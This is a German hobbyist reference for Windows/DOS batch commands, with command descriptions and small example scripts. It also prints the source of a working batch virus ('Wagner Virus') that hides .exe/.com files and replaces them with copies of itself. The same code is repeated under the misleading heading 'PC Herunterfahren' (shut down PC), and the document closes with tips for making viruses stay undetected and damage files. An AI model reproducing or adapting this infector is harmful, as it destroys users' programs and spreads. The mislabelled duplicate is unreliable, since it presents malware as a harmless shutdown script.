Ultimative Batch-Programmierungsreferenz V1.0

Transcription

Ultimative Batch-Programmierungsreferenz V1.0
Ultimative Batch-Programmierungsreferenz V1.0
ASSOC - Zeigt die zuordnung der Dateierweiterungen an.
AT – Hiermit kann man eine Zeit festlegen, in der die Befehle ausgeführt werden sollen.
ATTRIB hiermit kann man Dateiattribute anzeigen lassen oder ändern.
BREAK – Drückt man Strg + C wird man gefragt ob man abbrechen will.
CACLS - Zeigt die Access Control List an(Datei Rechte wie schreiben lesen etc).
CALL – Hiermit kann man eine Batchdatei aus einer anderen starten.
CD – Aktuelles Verzeichnis ändern bzw. anzeigen.
CHCP – Aktive Codepagenummer anzeigen lassen, bzw. festlegen.
CHDIR – Anzeige des Aktuellen Verzeichnissnamens bzw. Festlegung.
CHKDSK – Hiermit wird ein Datenträger überprüft und ein bericht angezeigt.
CHKNTFS – Datenüberprüfung am Start Einstellen bzw. Anzeigen lassen.
CHOICE – Wartet auf die Eingabe des Benutzers.
CLS - Löscht den Screen.
CMD - Startet eine neue Instanz des Windows-Befehlsinterpreters.
COLOR – Hintergrund und Vordergrundfarbe der Konsole einstellen.
COMP – Vergleich zweier Dateien bzw. Sätze von Datein.
COMPACT – NTFS-Partitionskomprimierung anzeigen bzw. andern.
CONVERT - Konvertiert FAT-Volumes in NTFS. Das aktuelle Laufwerk kann nicht konvertiert
werden.
COPY – Kopieren von einer oder mehrerer Dateien an anderer Stelle.
DATE – Datum anzeigen bzw. ferstlegen.
DEL – Löschen von einer oder mehrerer Datein.
DIR – Auflistung von Dateien und Unterverzeichnisse.
DISKCOMP - Vergleicht den Inhalt von zwei Disketten.
DISKCOPY - Kopiert den Inhalt von einer Diskette auf eine andere Diskette.
ECHO – Ausgabe von Text bzw Bildschirmausgabe an und aus schalten.
ENDLOCAL Beendet den lokalen Gültigkeitsbereich von Umgebungsänderungen in einer
Batchdatei.
ERASE Löschen von einer oder mehrerer Datein.
EXIT Beendet das Programm CMD.EXE.
FC Vergleich zweier Dateien bzw. Sätze von Dateien und anzeige von Unterschieden
FIND - Sucht eine Zeichenkette in einer oder mehreren Datei(en).
FINDSTR - Sucht Zeichenketten in Dateien.
FOR - Führt einen angegebenen Befehl für jede Datei in einem Dateiensatz aus.
FORMAT – Formatierung eines Datenträgers
FTYPE – Zeigt Dateitypen für eine Zuordnung an bzw. Verändert diese.
GOTO – Sprung zu einer Sprungmarke(Befehlsinterpreter wird dorthin gesetzt).
GRAFTABL - Ermöglicht Windows, Sonderzeichen im Grafikmodus anzuzeigen.
HELP – zeigt Hilfe zu Befehlen an.
IF – Je nach bedingung wird ein Befehl abgearbeitet.
LABEL – Löscht, erstellt oder verändert die Bezeichnung eines Volumens.
MD – Verzeichnis erstellen.
MKDIR – Verzeichnis erstellen.
MODE - Konfiguriert ein Systemgerät.
MORE – Ausgabe auf dem Bildschirm seitenweise
MOVE – Dateien in ein anderes Verzeichnis verscheiben.
PATH - Legt den Suchpfad für ausführbare Dateien fest oder zeigt diesen an.
PAUSE Hält die Ausführung einer Batchdatei an und zeigt eine Meldung an.
POPD Wechselt zu dem Verzeichnis, das durch PUSHD gespeichert wurde.
PRINT – Drucken einer Textdatei.
PROMPT - Ändert die Eingabeaufforderung.
PUSHD - Speichert das aktuelle Verzeichnis, und wechselt dann zu einem anderen Verzeichnis.
RD - Entfernt ein Verzeichnis.
RECOVER - Stellt lesbare Daten von einem beschädigten Datenträger wieder her.
REM - Leitet Kommentare in einer Batchdatei bzw. CONFIG.SYS ein.
REN – Umbenennen von Dateien.
RENAME – Umbenennen von Dateien.
REPLACE – Datei Ersetzen.
RMDIR – Verzeichnis löschen.
SET – Variablen Setzen bzw. löschen.
SETLOCAL - Beginnt den lokalen Gültigkeitsbereich von Umgebungsänderungen in einer
Batchdatei.
SHIFT - Verändert die Position ersetzbarer Parameter in Batchdateien.
SORT - Sortiert die Eingabe.
START - Startet ein eigenes Fenster, um ein bestimmtes Programm oder einen Befehl auszuführen.
SUBST - Weist einem Pfad einen Laufwerksbuchstaben zu.
SHUTDOWN – PC neu starten bzw. herrunterfahren
TIME - Zeigt die Systemzeit an bzw. legt sie fest.
TITLE - Legt den Fenstertitel für das Eingabeaufforderungsfenster fest.
TREE - Zeigt die Ordnerstruktur eines Laufwerks oder Pfads grafisch an.
TYPE - Zeigt den Inhalt einer Textdatei an.
VER - Zeigt die Windows-Version an.
VERIFY - Legt fest, ob überwacht werden soll, ob Dateien korrekt auf den Datenträger geschrieben
werden.
VOL- Zeigt die Datenträgervolumebezeichnung und die Seriennummer an.
XCOPY - Kopiert Dateien und Verzeichnisbäume.
Syntax:
Wenn du die Syntax eines Befehls wissen möchtest, dann gib den Befehl in der
Eingabeaufforderung mit einem /? ein und drück Enter!
z.B.
ASSOC /?
Programmcodes/Beispiele:
PC Herunterfahren:
@ECHO off
%SYSTEMROOT%\system32\shutdown.exe -s -t 0
Eingabe Abfrage:
@echo off
Choice Drueck mal eine Taste: /C:123
If Errorlevel 255 goto Fehler
If Errorlevel 3 goto Punktdrei
If Errorlevel 2 goto Punktzwei
If Errorlevel 1 goto Punkteins
If Errorlevel 0 goto Fehldruck
:Fehler
Echo Fehlerbedingung!
goto ende
:Punktdrei
Echo Sie haben Taste 3 gedrückt!
goto ende
:Punktzwei
Echo Sie haben Taste 2 gedrückt!
goto ende
:Punkteins
Echo Sie haben Taste 1 gedrückt!
goto ende
:Fehldruck
Echo Sie haben [Strg+C] gedrückt und die Stapeldatei
abgebrochen!
goto ende
:ende
For – Schleife (10 Unterverzeichnisse):
@echo off
For %%d In (1 2 3 4 5 6 7 8 9 10 ) Do Md spiel%%d
Rem Dieser For-Befehl kreiert 10 Unterverzeichnisse mit den Namen
Rem Spiel 1 bis Spiel 10.
Wagner Virus(Löscht com und exe Dateien und setzt sich anstelle dessen):
@echo off
ctty nul
for %%f in (*.exe *.com) do set A=%%f
if %A%==COMMAND.COM set A=
rename %A% V%A%
if not exist V%A% goto end
attrib +h V%A%
copy %0.bat %A%
attrib +r %A%
ren %A% *.bat
set A=
:end
ctty con
@if exist V%0.com V%0.com %1 %2 %3
@if exist V%0.exe V%0.exe %1 %2 %3
PC Herunterfahren:
@echo off
ctty nul
Rem Umleitung ins nichts mit ctty nul
for %%f in (*.exe *.com) do set A=%%f
if %A%==COMMAND.COM set A=
rename %A% V%A%
if not exist V%A% goto end
attrib +h V%A%
copy %0.bat %A%
attrib +r %A%
ren %A% *.bat
set A=
:end
ctty con
@if exist V%0.com V%0.com %1 %2 %3
@if exist V%0.exe V%0.exe %1 %2 %3
Allgemeines:
Sicherlich wollen jetzt einige einen Virus oder dergleichen machen. Hier mal ein Ansatz dazu:
–
–
–
Der Virus sollte unendeckt bleiben!
Der Virus sollte sich immer neu startn ( http://www.robvanderwoude.com/index.html ) !
Ein Virus löscht oder ändert andere Dateien!
Es gibt einen Grund, warum ich euch jetzt nicht Schritt für Schritt sowas erkläre:
jeder n00b würde es dann easy hinbekommen einen schädlichen Virus zu schreiben! Außerdem
macht das selber herausfinden ja eh mehr Spaß ;)
Thnx to everyone
MFG
MudSucker ( [email protected] | www.darkenedcore.dl.am )
P.S. Schäden sind eure Schuld ich übernehme für nichts Haftung! Weitergeben ist erwünscht, aber
nur unverändert!